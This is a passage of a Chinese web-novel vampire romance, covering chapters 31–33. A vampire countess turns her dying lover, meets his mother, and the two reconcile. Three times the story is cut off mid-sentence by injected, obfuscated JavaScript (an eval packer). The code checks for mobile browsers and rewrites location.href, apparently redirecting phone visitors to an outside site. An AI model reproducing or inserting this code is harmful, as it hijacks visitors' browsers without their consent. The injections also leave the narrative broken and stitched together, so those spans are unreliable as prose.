头晕目眩。 眼前的画面,像抽帧一样模糊跳跃。 脚下的红毯不知何时变成了血泊,血泊摇晃旋转,里面躺满了渐渐消亡的吸血鬼和打尽的弹壳。 越来越多的吸血鬼拖着残影倒下。 一个身着黑色兜帽长袍的人,如魅影一样突然出现在面前,伸长的尖甲直直戳向胸膛。 视野猛然倾倒,只能看见被风吹起的一角黑袍移动得越来越远。 世界变得既模糊又清晰。 模糊的是渐远的黑影,清晰的是石缝里长出的杂草,井盖上磨灭的凸痕,和满是血污的手指拼命伸长,努力去够地上的银色手枪。 在目标消失的那一刹那,泛白的手指用力一扣,一枚银弹发射而出。 砰—— 奥黛因后坐力被震退了几步。 被彻底震出黎信步的视角。 她不管不顾地冲了出去,黑色翅膀后知后觉张开,犹如慧星的拖尾。 速度很快,快得像分辨不出颜色的残影。 “女爵!女爵!!”艾克急得大喊:“马上要日出了!您去哪里!” 听不到了。 或者说,她顾不上了。 巨大的恐惧将她包围,心里只有一个念头。 她要找到他。 她一定要找到他。 不知是否因为速度已经超过吸血鬼的极限,风刃切割她的皮肤,血液像烈火一样烧灼,每一寸骨骼都在忍受疼痛。 她很久没有这样痛过了。 比疼痛更难忍的是心头的恐慌。 她能清晰地感觉到她与黎信步的契约在慢慢消失。 ——他快死了。 残影在高楼上略略一顿,嗅见熟悉的气息,奥黛下意识地停下了脚步。 百米高楼,云遮雾障,两道血眸的目光,隔着银灰色的雾霭遥遥一撞。 奥黛的脸颊有被风刃切割出的刀口,皮开肉绽,淌下一行行血泪。 西拉斯的左肩有被银弹腐蚀的弹痕,血肉模糊,血液从指缝溢出。 如果要杀他,现在是千载难逢的好机会。 奥黛的尖甲暴烈伸长——就像他对黎信步那样。 然而在千分之一秒后,在她被风托起的卷发尚未落下以前,她停止了这场毫无意义的对峙。 还有更重要的事要做。 随她飞扬而淌落的黑红色血泪像雨点一样斜洒。 落到了窗沿,树梢,以及西拉斯的肩头。 意识到那张满是血迹的脸并非薄莎,他厌恶地揩去肩头的血迹,摊开手心,这才想到该召唤出魔法阵。 可已然迟了。 凝望着镌刻在掌心纹路上的魔法阵,以及尖甲里残留着的属于人类的血迹,他的身形忽然有些不稳。 ……他究竟算什么? 血猎? 人类? 血族? 还是……一个恶魔? 一个低阶的吸血鬼及时伸手扶住了他:“大人,按照您的吩咐,已经把人抓到了。” “知道了。”他扫了对方一眼,毫不留恋地摊开掌心,用沾着血的指头,在上面书写着什么。 一瓣血色的蔷薇花片在他手心染成了灰烬,对方一愣,忽觉四肢一松,原本束缚在自己身上的无形枷锁瞬间解开了:“大人,这是……” “自由。”血色的灰烬源源不断自西拉斯的掌心流淌出来,他面无表情地道:“你可以滚了。趁我后悔之前。” 话音刚落,四面八方的吸血鬼瞬间遁为黑色残影消失。 西拉斯仰头,最后看了一眼奥黛离去的方向,不禁想,跑得再快一些吧女爵,或许还能见到爱人的最后一面。 爱人? 顷刻间,他的表情变得阴鸷扭曲—— 像你们这样的吸血鬼,根本就不知道什么是爱! 拍手散尽灰烬,彻底与她背道而驰。 奥黛赶到郊外时,浓厚复杂的味道扑面而来。 人的味道,人血的味道,血族的味道,圣银的味道,西拉斯的味道…… 还有,黎信步的味道。 顺着甜血最浓郁的味道寻去,果然找到了黎信步。 四周都是凋残得快要消散完的血族尸体,粗粗一看,竟有几十只。他浑身是伤地躺在血泊里,银色的作训服破损得不成样子,浸染成了刺目的血色。 其中,手臂和躯干处的伤势最重,肋骨断了几根,胸口更是破出了五个触目惊心的血洞,血肉翻卷,汩汩地流着血。 这代表着,有一双锋利大手,曾插|入他的胸腔,想要徒手取出他的心脏。 有那么一瞬间,她在后悔,刚刚没能杀掉西拉斯。 关于濒死的人,奥黛见过很多。 母亲死后,她没再插手过谁的生死。 可关于这个人,她格外不想放手。 她蹲下,叫他名字:“黎信步。” “让你睡了么,”声音是从未有过的冷酷,却发着抖:“给我醒过来。” 戒指上散发出微不足道的光芒,像细小的电流,汇入他的心脉。 黎信步极其费力地睁开了眼睛,他的意识有些涣散了,只是依靠本能沉重急促地呼吸,每吸一口气,都在加剧胸腔传来的痛苦。 终于看清了奥黛的脸,他空洞的眼睛终于出现了一丁点光彩,努力地朝她伸出手。 奥黛一把握住了。 比他抖得还要厉害。 “我带你走。” 【脸,怎么了?】 两人同时开口,他说不出话了,只由变形扭折的手指传递话语。 天渐渐亮了,深红色的血泊愈发清晰地倒映着奥黛的脸。 被风刃割出的伤痕明明在飞速愈合,却还是被他看出了端倪。 奥黛简直快气笑了。他都快死了,还有空管她疼不疼。 “和你有关系么?” “说要等我答复然后把自己弄成这副样子?” 黎信步听出她话里的关心,扯出了苍白的酒窝,牵动到了伤口,鲜血止不住地从口中和胸腔往外涌。 【别生我气……】 奥黛立刻上前扶住了黎信步:“还想听我答复么?” “不准,不要,就这么死掉。” “黎信步,我命令你——” 声音急转直下,奥黛忽然噤声。 光是触碰,都能感受到指腹下他承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101564|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受的巨大痛苦。 她哑着声音:“不要死。” 像无计可施的孩子。 叹了一口轻微的气息,他的眼睛很迟缓地眨动,带着温柔而黯淡的笑意,依恋地望着她,想将她牢牢记在心里。 【对不起。】 【把我放在这里吧。】 “……” 奥黛置若罔闻,避开他露在外的皮肤,隔着布料轻轻地扣住了他的肩,以不容拒绝的力道抱起了他。 意识到她要做什么,他立刻用力地摇着头,因无法触碰到奥黛的指间,只得费力地说话。 吐着血,嘴里含糊不清:“不……不……奥黛……” 每吐一个字,心口如遭重钝。 “天要亮了……” “你快走……” “快走……” 他本能地抬起手替她遮挡天光,因为动作幅度太大,更多鲜血从他口中喷涌。 “乖一点好吗?” 奥黛垂下头,轻柔地替他擦去脸上的血迹,如轻哄一般:“很快就到家了。” 双翅一展,如孤鸿一样穿过沉沉白雾,飞过浩浩大江。 昼与夜的帘幕,被扑动的巨翅拉开,乍泄的天光拼命追赶他们的背影。 疾驰的身体像烈火焚烧一样疼痛,可她只能继续往前跑。 但他们都知道,她不可能快过阳光。 他终于找到了她的手。 微弱的心音发着颤,像遗言,又像祈求: 【戒指,收回去吧。】 然后,忘了我。 如果令你感到痛苦的话,我情愿做一只哑炮。 永远听不到响也可以。 风里,她用力抱紧了他。 那只挣扎颤巍的手被她攥紧,却,清晰地感受到他的力气逐渐消退,就连反抗她都变得无比困难。 这样正好,手指穿进了他的指缝,用力收紧,不许他再胡言乱语了。 收回去? 怎么可能? 在今天以前,你或许还有选择。 在今天以后,我绝不会放过你。 天空中,万千光束倾泻而出,就在即将照射到吸血鬼身上时,转而被更浓重的乌云遮住。 乌云间,残存的一点弯月微笑着隐于云后,慈悲祝福。 天地昏黑一片。 血迹斑斑的奥黛抱着同样血迹斑斑的黎信步回了家。 他躺在地上,心跳的声音微不可闻,呼吸也愈发微弱,苍白的唇翕合着,不知道在说什么。 无非是惹她生气的话,掌心上抬擦掉眼泪,并不想听。 在半个多小时以前,她还在幻想下车陪他,直到他死。 不过半个小时,幻想就粉碎破灭了。 这才明白,她根本无法接受他去死——就像她母亲无法接受他父亲去死一样。 所以,她要与他缔结更深的契约。 那是比奴隶契约还要更坚固的存在。 她要他终此一生,都无法真切地离开她。 即便,走上了和母亲一样的路。 那又怎么样? 她的目光居高临下,竭力挺直背脊,维持着声音的冷酷: “我要初拥你了。” “你有一次机会拒绝。” “你要拒绝我么。” 几乎是颤抖着手,她伸向他失温的指尖。 即便失温,他还是比她暖和太多。 他瞳孔失焦,忍着疼痛摸索着握住她,用本能回答:【不要——】 黑暗的室内,忽然响起一声突兀的笑。 她像毒蛇一样爬到了他的身上,苦涩地吐着信子,缓缓地露出了锋利的牙齿。 ——不要什么? 带着弯度的尖甲扣住了他的手腕,以一种绝对钳制的姿态,禁锢他的自由。 ——不要初拥?不要停止?还是,不要我? 鼻尖吻过冰凉的耳垂,舌尖舔过蛰伏的青筋,尖牙刺破修长的脖颈,她大口大口地吮吸着他芳馥的血液。 酥麻让她愉悦,缠绵让她舒爽,冲破克制的束缚,直接让本能主宰一切。 ——不要反抗我,黎信步。 事实上,他也无法反抗。 只能引颈受戮地顺从她,再顺从她。 几乎是灭顶的欢愉袭来,覆盖了身上的所有痛苦,从而贪婪地生出更饥渴的欲望。 两具冰冷的身体紧紧纠缠在了一起,火热的心跳声中,他们终于合二为一。 欢迎来到我的世界。 共享我的痛苦。 我的,爱人。 31. 初拥 象牙白的双人浴缸里,漂浮着深红的玫瑰花瓣。 花瓣细薄的边沿向内蜷,拢成小舟的模样,一道红色的大浪卷来,小舟被打翻搁浅在了白皙的浅湾。 水湾的岬角柔美平直,席卷而来的红色海浪却格外汹涌,难以捉摸,在上一秒上颠着淹没陆地,又在下一秒轻抚着佯作撤离,周而复始,不厌其烦。 深红色的水花被拍打飞溅,每一滴都有我和你,已经无法厘清了。 坚硬的礁石被水浪容纳挤压,澎湃的海浪被礁石深凿研磨,一声又一声,一道又一道,没有尽头,无法结束。 终于,玫瑰花舟借着一波浪花,漾开水纹,好容易离开了水湾,又被漂浮在海面上蜷曲的黑色水草牵缠住。 水草从海面一直旺盛地生长到了半空中,被一只苍白有力的树干大手按压抚摸。 水草与树,大概是共生的关系。 根状的掌纹之下,是奥黛殷红的薄唇,仰翘的下巴。 再之下,是黎信步的紧闭却微颤的长睫,摩挲着点火的鼻骨,和一双锋利雪白的獠牙。 獠牙汲取她的养分,下巴航入水湾,在喉结的一滚一动间,贪婪且不求甚解地享受着充实的愉悦。 一瞬间,两具本该死掉的冷寂尸体忽然有了同样的心跳。 她缠绕他。 他扎根她。 彼此共生,永远契合。 这就是初拥。 吸血鬼将人类的血吸干,并让人类吸干自己的血。 从此共血液,同心跳,你中有我,我中有你。即便在灵魂的最深处,也会有对方的倒影。 三百多年前,奥黛和薄莎曾对月盟誓,此生绝不初拥人类。 薄莎没做到,她也没有做到。 但她并不后悔。 即使,会变成一汪腐烂的血水,永远向月亮忏悔,她也不后悔。 蛰伏得再好、伪装得再温顺的野兽,也无法永远收起自己的爪子和獠牙。 干脆就不要再违背本性了。 强行将他绑来自己的列车,以永生的名义困顿他、强迫他、诅咒他。 希望他不要太难过。毕竟,她不算仁善,有了母亲的前车之鉴,她只会更加恶劣,更加高明。 水波颤巍间,她成了那只玫瑰小舟,被无知无觉的波浪撞击得起起伏伏,她的惊呼被浸沉,呜咽被吞没,无意识发出的单音节也被水声冲垮。 偏偏黎信步沉沦在梦中,全然凭本能行事。奥黛甚至都不能与她的新吸血鬼生气。 她恼怒地咬破他的唇,然后立刻调转舟头,纤白的指尖刚刚扣紧浴缸唇边,就被有力的大手从后方一揽,不留情面地将她再一次拖入水中。 她回头胡乱地咬他,在他闷哼声中,留下一串凌乱的吻。 水浪翻涌,后者毫不抵抗。 两块大陆,索性一同沉没。 奥黛醒来时,脑袋有些餍足地发晕,望着天花板怔忡了几秒。 转头,发现浴室里只有她一个人。 哗啦一声,她立刻走出水面,踏出沾满水痕的足迹。 找遍了别墅,都没有看见黎信步的踪影,只在通往门口的方向看见一列半干的血色脚印。 她一怔,想到他还没有注射宁剂,会去哪里? 许是初拥的契约刚刚签订,她尚在适应身体里那一半不属于她的血液,无法及时感应到黎信步的位置。 想到宁白曾说的话,她绕着方圆几公里的医院和献血站飞了好几圈,都没有找到黎信步的踪影。 能去哪里? 他最熟悉的、记忆最深的地方是哪里? 特族局么? 也不在。 还能去哪呢? 奥黛忽然觉得自己对黎信步并不了解。 他的喜恶,他的过去,她一概不知。 心烦意乱地飞了两圈,实在不知道他有何处可去,又担心他会不会像徐晚晴一样失控。 新吸血鬼的阶段并不好熬,她想要快点找到他,帮他抓住那根“浮木”。 尽管她还不知道那是什么。 不知不觉就来到了黎信步家的窗外。 里面是他的味道,很近。 原来是逃到这里来了。 原本打算直接破窗而入的她,决定还是给予他的私人空间一些尊重,于是悬停在窗外,礼节性敲了三下窗户。 “黎信步。” 无人回应。 那么。 尊重收回。 三秒后,玻璃轰然碎裂。 窗帘狂飞乱舞,她拨帘径直走了进来。 他家的装修风格和他人一样偏冷硬,天花板上,一只怀旧的齿轮状吊灯安静垂落,成了室内的唯一光源。墙壁被粉刷成了水泥的深灰色,看上去粗犷野性,伸手一抚,却又觉得平整光滑。 轻轻一瞥,近玄关的那面墙放着一只巨大的黄铜色的金属架,上面摆满了机车的模型和头盔,很有他的风格。 但中间最显眼的那一格,放着一只与这里风格并不契合的白瓷浮雕花瓶。一束蔷薇肆意生长,烂漫如霞,或侧头,或低望着周围的格架,却也与周遭的冷硬意外地相衬。 地上层层叠叠地堆放着一些游戏光盘和杂志,奥黛瞥了一眼,封面图从机车到风景,应有尽有。 一路往里走,沿着他的气味寻去,看到了不少凌乱摆放的健身器材,看上面的磨损程度,应该都是他常用的。 再往里,气味就被一扇金属门阻隔住了。 这门一看就很厚重,上面有一只发亮的显示屏用于面部识别,底下还有密码锁。 黎信步就在里面,没有动静。 隔着这扇厚厚的门,她无法判断出他的状态。 奥黛退了两步,上下看了一眼,似乎在思考破门而入的可能性。 忽然,外面传来一声电子门锁的响动。 锁舌弹响,外面的防盗门被打开,玄关处的灯也被打开。 奥黛立刻扭头,看清了站在门口的身影。 竟然是云岩局长。 “黎信步在里面吗?” 她的语气一改往日温和,提着黑色手包径直朝里走来。浅灰色缎面衬衫的长袖被她半挽至了手臂,走来时她将垂落到颊边的头发挽至耳后,显出了几分凌厉的干练。 走廊的灯随她的经过自然亮起,她眉眼未惊,只是在经过阳台时,眉头微微一挑,带着探究的目光,停在了奥黛的面前。 奥黛下意识伸手挡在了门口,一动不动地看着云岩。 对方进门的动作实在太熟稔了,以至于奥黛不得不猜想她和黎信步的关系。 仔细端详对方五官时,目光有些愕然。 心里隐隐有了一个猜测。 “我以为信步和你说过,我是他的妈妈。”云岩声音沉沉,抬眸望着她。 果然。 黎信步和云岩局长其实有着相似的五官。 如果认真回想,不难发现,他们俩黑而亮的眼睛和浅浅陷在颊边的酒窝,简直是如出一辙。只不过黎信步不常像云岩局长那样笑,所以他们之间的相似被她忽略了。 但现在的云局长也不笑了。 而是以一种阴沉的目光审视着她:“你初拥他了吗?” 她的面容晦暗不明,像是暴雨前积压在头顶的乌云。 “我们在他作战的地方发现大量他的血迹,却没有看到他人。他们模拟现场,发现了你的痕迹——初拥,只有这种可能。” 奥黛的背紧贴在冰冷的门上,肩胛有些发痒,翅膀蠢蠢欲动。 她不愿向黎信步的母亲讲述当时的危急场面替自己辩解,毕竟说什么都是借口。 当她见到奄奄一息的黎信步时,根本就没有考虑任何将他送医治疗的可能性,心里只有一个念头在喧嚣咆哮。 【我要初拥他。】 【一定要初拥他。】 虽然在初拥前她在还象征性地征询黎信步的同意,但无论黎信步说什么,都只会有这一个结果。 ——被她初拥。 “是我强制初拥了他。” 她说。 “强制初拥?”云岩难以置信,吐出一口浊气:“那你该知道我们特族局对强制初拥是零容忍的——让开,海尔珀林女爵。” 奥黛脚步微动,却不是为了让开。 而是用余光悄悄打量四周,暗中盘算该怎么击破这门,将黎信步掳走。 “你带不走他的。”云岩似乎洞穿了她的想法,缓缓将手伸向包里的冰冷物体:“底下,全部都是夜游队的人。上面,有三个狙击位瞄准了你。” 寒意陡然而生。 奥黛隐约察觉到自己的背脊正被一道冰冷的视线舔舐。 不过,尽管如此—— 一双巨大的翅膀还是在她的身后猛地撑开,猩红的血眸竖成了一条细线。她就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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翅膀嚣张挺立,底下的弯勾根根竖起,深红的目光不避不让地看着云岩:“除非你有把握你的狙击手一定能够击毙我,不然,我带他走,谁也拦不住。” “那我不拦了。”云岩忽然笑了,露出一对酒窝。 奥黛:“?” 说完,云岩从包里拿出手机,对着门上的显示屏轻轻扫了一下,交响与闪烁的警报立刻停下,室内顿时安静了。 奥黛远眺高楼,这才发现,她先前察觉到的所谓狙击手的视线,不过只是一块玻璃的反光罢了。 ……是她关心则乱了。 “你不怪我强制初拥他?” 云岩笑着握住了她的手。 温暖的掌心紧紧一握,传进她心里的声音并没有一丝责怪。 而是一种,她此前从未听见过的,类似风声一样的声音。 很平静,很温和,很有力量。 能吹开山巅的冻雪,也能吹绿枯枝的树芽。 “我知道,当时的情况,初拥是最好的结果。”云岩看着她说:“而且,如果是黎信步和你话,我想那应该不是强制初拥吧。” “——黎信步,他巴不得吧。” 见奥黛依然一头雾水,她叹了口气:“他连这没跟你说吗?” 语气逐渐嫌弃:“当初他爸追我的时候可没有他这么畏缩,根本憋不住一点事。都还没追到我,我不过是对他爸笑了一下,他爸直接原地求婚。哪像他啊,怂包一个。” 怂包的母亲温柔地握住了奥黛的手,带着她的手伸向了密码锁:“密码是20120422——这一天对他来说很重要。” “为什么?” “去问他,他会告诉你的。”云岩把她推向前:“这扇门还是由你亲手打开比较好。” 飞快输完密码,金属门迫不及待地打开。 狭长的昏暗房间,她看见黎信步躺在一只大大的玻璃柜下。他的睡姿蜷缩,眉头紧皱,就像一个没有安全感的孩童。 他的手里,紧紧握着一只亮晶晶的怀表。 那是他的,浮木。 32. 苏醒 蓝色的药剂通过活塞的挤压,从针尖处滋出了一条透明的细线。 云岩拿着针管,将转化宁剂注射进了黎信步的血管,这才稍稍松了口气:“总算不用再担心他失控了。” 奥黛问:“昨天到底发生什么事了?为什么西拉斯会突然袭击黎信步?” “他的目标不是信步。” 云岩凝眉说:“昨天,星城召开了一场关于血族基因的科研会,同一时间,有一条地铁线路被血族袭击了。大部分夜游队员都被派去地铁支援,等到发现血族的目标是那场会议的时候已经晚了——在场有五位科研人员被绑架,加上信步,总共有四位夜游队队员伤亡。我们,损失惨重。” 奥黛沉思:“他为什么要绑架科研人员?” “目前还在调查之中。”云岩问:“我也想问问你,凭你对西拉斯的了解,你觉得他到底有什么样的诉求?或者说,他有什么必须要依靠人类科研人员才能实现的目的?” “……”奥黛暂时想不到。 算上昨天,她一共才与西拉斯见过三面。 不过,一百年前,倒是常听薄莎在电话和信件里提到他。 说他破绽百出,接近她的时候,都看见他藏在衣服里的匕首轮廓。 说他身微命贱,他那血猎公会的副会长养父不过施舍了他一块黑面包,他就心甘情愿替他卖命。 也许连薄莎自己都没有意识到,后来说着说着,她的语气变得越来越轻快。 “真有意思,这人的心思全都写在脸上啦。” “他越狼狈越可爱。” “他为什么会为我和黑熊搏斗?” “他为什么会教训那些非议我的贵族?” “他说不许消遣他,呵,我偏要。” “奥黛,他的身体可真暖和啊。” “……” 奥黛抬手揉了揉太阳穴,低道:“诉求我不知道,不过被转化成吸血鬼以前,他曾是被光明巫师选中的血猎。被转化成吸血鬼以后,他一直想要屠尽海尔珀林,以及与他有着同样罪恶血液的吸血鬼。” “所以你认为他绑架那些科研人员是为了对付你?” “不。”奥黛摇头,“直觉告诉我不是这样。” 对付她,并不需要这么周折。 昨天那场擦身而过,她和西拉斯都没有对彼此出手。 她没出手,是急着去找黎信步。 那么西拉斯呢? 他到底想做什么? 这时,云岩的手机响了起来,她对奥黛做了一个“稍等”的手势,走出房间去接听。 不多时,一通电话打完,她回来,拿起了地上的包,行色匆匆:“抱歉奥黛,我得尽快回局里一趟了。” 看了眼仍在熟睡中的黎信步,对奥黛说:“这里就拜托你了。” “嗯。” · 黎信步迟迟未醒,仍然像先前一样蜷缩着睡在书房的木质地板上。 在云岩走了以后,奥黛尝试把他转移到了他自己的卧室,以为他睡床会舒服点。但没想到他甫一离开这间房,浑身都在颤抖,嘴里不安地呓语着,看上去很痛苦。 只好又把他带回到了这里,把那只亮晶晶的怀表重新放进了他的怀里。 睡梦中,他捧着冰凉的怀表,像是捧着失而复得的宝贝。 奥黛怎么也没有想到,一百年前,她送给亚裔甜血女孩的怀表,兜兜转转了一圈,竟然到了他这里。 一百年前的她更不会想到,未来拥有这块怀表的人,会被她初拥。 不知是否因为那怀表上还残留她一丁点儿力量的缘故,黎信步借着那股力量抚慰着自己,眉头终于渐渐舒展开了。 与他清醒时自带的冷厉气质不同,眼下他睡得格外安静乖巧,一动也不动。室内昏暗的灯光不甚均匀地洒在了他的脸上,使他棱角分明的面容变得柔和起来。 奥黛静静地看着,不知过了多久,他好像又做噩梦了,浓而密的长睫时不时微颤,嘴角也抿了起来。 她将掌心轻轻贴在了他的眉骨上,小指一下一下抚摸他薄薄的眼皮。 掌心里传来他奋力的奔跑的喘息声。 ——是有人在追他么?还是他在追什么人? 她抚摸着,陪他一起穿过高山与溪流,涉过泥泞与乱石。 然而沉睡在梦中的人,并不知道自己心心念念的人就在梦外,只一味地握紧怀表,紧贴心口,想要离她近一些。 再近一些。 “……” 奥黛神情冷沉,眯眼打量着这只怀表。 下一刻,她咬破食指,拨开怀表,将蕴含着她力量的血液涂抹到了黎信步的嘴唇上,使他原本线条冷峻的嘴唇沾染上了一抹诡异的暗红,刚硬而艳丽。 她的手指并没有离开,指尖抵着柔软缝隙缓缓深入,撬开他坚硬却不做抵挡的牙齿,将慢慢渗出的血迹按压在了对方温热的舌尖上。 如鱼咬饵般,他立刻追逐了上去,嘴唇抿合,阻断了她的后路。 她搅弄。 他舔舐。 她撤离。 他咬紧。 “嘶——” 感到疼意的奥黛立刻用中指和拇指扳过他的下巴,将食指抽了出来。 猝不及防得而复失,黎信步有些委屈地用下巴蹭了蹭她掌心,人尚未苏醒,却凭本能讨好似的想要挽留。 哒一声,怀表落在了木地板上。 他依依不舍地握紧了她的手腕,拼命汲取着她的气息。 这下,奥黛像是被取悦到了。她屈起食指,以指骨蹭着他的唇峰作为奖励,另一只手漫不经心捞起了地上的怀表。 2025年的奥黛与1925年的奥黛静默对望。 后者冷冷一瞥,前者微微一笑。 横跨了百年的时光。 手仍被他握着,失去了自由,不过奥黛也没有要离开的意思。 这时候她才抬头打量起了这间房。 如果最中心的展柜是她的怀表,那么其他的柜子里放着什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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去禁止人类踏足的永夜岛——尽管她很讨厌那里。但他在永夜岛会彻底孤立无援。如果她很小心,很小心,兴许可以囚禁他到他接受自己是吸血鬼为止。 她会用一根粗粗的银链拴住他的脚腕,只留出床尾到楼梯的距离。如果他能听话一些,或许她会考虑把银链的长度适当放长一点——不过最长也就只能到府邸门口了。那是她容许他获得的最大自由。 她绝不会掉以轻心,不会像母亲那样宽容地给予谈判的机会,更不会准许他有一丁点儿像父亲那样自杀的可能性。 她要他,漫长痛苦的余生只能与她度过。 直到她厌倦为止。 【听起来,好像还不错。】 掌心突然传来他的声音,奥黛一怔,转过头去,他不知什么时候已经坐起来了,那只爬有蔷薇印记的手臂搭在膝边,正面色苍白地盯着她。 他的样貌发生了奇妙的变化,皮肤从健康的颜色变成了纸般的苍白,双眸变成了深红,蛰伏在一双浓黑的眉毛下,原本冷硬的不羁如同打开牢笼的飞鸽,外放出几分平静的疯狂。 低沉的声音危险地响在她耳畔:“不是要捆我吗。动手吧。” “你——能听到我心里的声音?” 奥黛愕然地开口,抽回了手,心脏忽然开始飞快跳动。 33. 交心 血族特殊能力的传承是以家族为单位的,同样的血脉下,吸血鬼们能有一定几率继承甚至是深化家族的特殊能力,被初拥的人类也会有极小的概率获得其特殊能力。 不过拥有特殊能力的吸血鬼已然稀少,而继承特殊能力的新吸血鬼则更是凤毛麟角。 没想到黎信步被初拥以后竟然继承了海尔珀林的读心能力。 奥黛蹭一下站了起来,后退两步,一双红眸警惕地瞪着他。 这岂不是意味着他可以读到她所有即时的内心想法? 黎信步伸出了手。 奥黛刚要往后再退一步,却发现,他双掌交扣,将手笔直地朝她递了过来。 一副束手就擒,任她捆绑的样子:“不是想捆我吗。” “……” 哪有人上赶着让她囚禁的? 而且她都要囚禁他了,他不该害怕吗? 怎么他比她看上去还要迫不及待? 见她一动不动,黎信步索性走向她。刚走出一步,身体竟然不受控制地前倾。 奥黛眼明手快地扶住了他,发现他的眸子忽明忽暗,忽红忽黑,无法自如收回的尖牙抵住了下唇,有渐渐伸长之势,他抿着唇,很隐忍。她握紧他手臂,揽过他腰际,感受到肌肉下方的骨骼如被打碎般重新组合,一节一节的骨头凸出又缩回,传出咔咔的响声。 明明触碰他身体时,能够感受到他内心的巨大痛楚,可他咬着牙,强忍着一声也不吭,捕捉到她担心的情绪后,还反过来宽慰她:“没事,我只是还不太适应现在的身体。” 奥黛皱眉想,这人怎么可以忍到这个地步? 忍到浑身骨骼都在拼凑重组,却仍想着取悦她,顺她心意被她囚禁。 忽然想到他做人类时也是这样,并不珍视自己的身体,一而再再而三地给她捐血。 她抚摸着他凸起的脊背,注视着他因兴奋而微微发颤的瞳孔,像是被她摸得很舒服似的,原本不安定变换着颜色的眸子渐渐变红,忍不住紧紧抱住了她,依照本能离初拥他的吸血鬼更近。 然而他连拥抱都是小心而克制的。 她知道吸血鬼的力量是怎样的,可他抱着她,像是围拥着她的一团棉花。 奥黛忽然觉得,她穿透了那些他格挡在外的冷峻深沉,看懂了他的柔和。 怎么会,一开始都没发现呢。 怎么会,还想着把他推开呢。 【痛么。】 她的掌心依然停留在他的后背。 这就意味着,她可以轻而易举地勘破他的谎言。 黎信步却没有回答,只是将脑袋深深地埋在她颈侧,低低地说:“我好喜欢你啊。” 喜欢到,连痛都觉得是恩赐。 读懂他尚未言尽的半句话,奥黛的心忽然变得丰盈而柔软,那些将他囚禁的负面想法瞬间逃逸无踪。 或许,只有拥有很少的人才患得患失。他越是对她予取予求,她才越能得以见到广阔天地。 与他在一起的,广阔天地。 既然如此,她也该给予他点什么。 “黎信步。”奥黛高高在上地叫他名字,抬起先前被她咬破的手,如承诺般道:“我允许你,吸食我的血液。” 她对新吸血鬼的了解并不多,依稀记起这一阶段的吸血鬼会迫切地想要得到初拥他们的吸血鬼的气息与血液。 对血族而言,被吸食血液,相当于被贴脸挑衅,是很冒犯的事情。 但是刚刚的那一瞬间,她允许他冒犯。 黎信步惊异地看了她一眼,然后半弯下腰,双手捧起了她血迹干涸的手。 他的眼里闪过一丝痛色,下意识抿了抿唇,大概意识到自己唇上的血迹源于何处了,转而更加温柔地摩挲着她的指骨。 吸血鬼的体温很低,当感受到对方冰冷的鼻息慢慢靠近时,奥黛竟然因等待而产生了几分灼热感,又有些心痒。 终于,他的唇落在了她的指尖。 但出乎意料的,落在上面的并不是吸吮,而是一个,很轻很轻的吻。 他舍不得。 【为什么?】 奥黛的心头不禁浮跃出一丝疑惑。 黎信步抬起头,眼睛很亮,耳朵发红。 “不要委屈自己来让我舒服。能在你身边,就已经很好了。” 盛大的快乐从他的掌心蔓延至她的心头,两人并肩坐在了书房里,交换着彼此内心的声音。 屋内落针可闻,她的,他的,响天动地。 在读心的天赋面前,那些口是心非的语言竟然显得格外匮乏。只需要轻轻的一点触碰,便能共享此刻心里所有的声音。 在沸反盈天的世界里,他们是最后一对知音。 不知过了多久,黎信步问她:“你怎么会想到来这里找我的?” “是云岩局长带我进来的。”奥黛把遇到云岩的事简单说了一下,问他:“门的密码为什么是20120422?” 不知是不是错觉,她发现黎信步的脸突然红了起来。 “因为在那一天,你的怀表救了我。”黎信步拾起了怀表,小心翼翼地将它收进了玻璃展柜里,红色的眸子似有微光细闪,亮汪汪地看着她:“你可能都无法理解,你对于我的意义。” 她偏头望向他,听见他低沉的嗓音缓缓响起:“不是crush,不是一闪而过的迷恋。而是,从十三岁到二十六岁,我所走的每一步,都是想要离你更近一点。” “因为恐龙血的原因,我小时候一直被过度保护,我只能在太阳照得到的地方活动,因为有你在,我才能够看看外面的世界。” “也正是因为你,我才能够靠自己的力量把一扇扇门打开。我想去见你,不是隔着怀表去想象你的过去,而是,我想去参与你在的未来。” 奉上一片真挚的心,他牵起了她的手,心口如一道:“所以,我的心意不论是当人还是当吸血鬼都没有变——我喜欢你,奥黛。不用对我产生怜悯或是歉疚,更不用想要回报我什么。我是心甘情愿被你初拥的,被你消遣,是我的荣幸。” 奥黛也握紧了他的手。 黎信笑了起来,眼睛弯弯,尖尖的牙齿露了出来,明明凶狠冷硬的一张脸,此刻却出人意料地温柔。 他与她十指相扣,并肩望着这间昏暗的房间,轻轻问:“或许,女爵想参观一下我的展柜吗?” “好。”她说。 两人漫步在这间房里。 左边的文件柜存放着这些年黎信步收集到的奥黛的足迹——她曾和薄莎熟练地在人类社会更名换姓,不知道他又是如何大海捞针将她捕捞的。 里面有她总也弹不好的《A小调练习曲》曲谱,有她19世纪见人亲手绘制的银河星图,有她委托皇家美术学院创始人创作的蔷薇静物画…… 他像串串珠一样,串起了她的过去。 一个个鲜妍的面孔在她脑海里一页页翻过,她曾路过她们的朝气勃勃,也路过她们的垂垂老矣。 而那些何尝不是她的过去? “为什么要做这些?” “不是特意做的,”他微微偏过了头,低声说:“只是——” 【追寻你的痕迹,几乎已经成了我的本能。】 